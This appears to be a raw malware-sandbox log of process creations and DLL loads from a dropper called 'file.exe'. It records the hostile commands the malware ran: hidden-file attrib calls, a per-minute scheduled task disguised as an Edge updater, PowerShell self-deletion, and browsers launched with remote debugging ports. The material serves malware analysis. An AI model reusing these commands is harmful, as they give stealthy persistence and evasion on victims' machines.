Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKEBKJJDGH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\KKEBKJJDGH.exe "C:\Users\user\Documents\KKEBKJJDGH.exe"
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe "C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe"
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del gU8ND0g.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.0.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe "C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe"
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9972 -ip 9972
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 9972 -s 1120
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe "C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe"
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 9928 -ip 9928
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 9928 -s 1116
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe "C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe "C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe "C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2668,i,8110381465614932930,16096888236174781569,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2684 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2580,14279181130041663905,12471910790253145920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2884 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2580,14279181130041663905,12471910790253145920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2884 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,2184961868279135562,6214656886902436476,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2636 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\KKEBKJJDGH.exe "C:\Users\user\Documents\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe "C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe "C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe "C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe "C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe "C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe "C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del gU8ND0g.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.0.1
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9972 -ip 9972
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 9972 -s 1120
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 9928 -ip 9928
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 9928 -s 1116
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wscsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vbsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: securitycenterbroker.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ngcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: authz.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
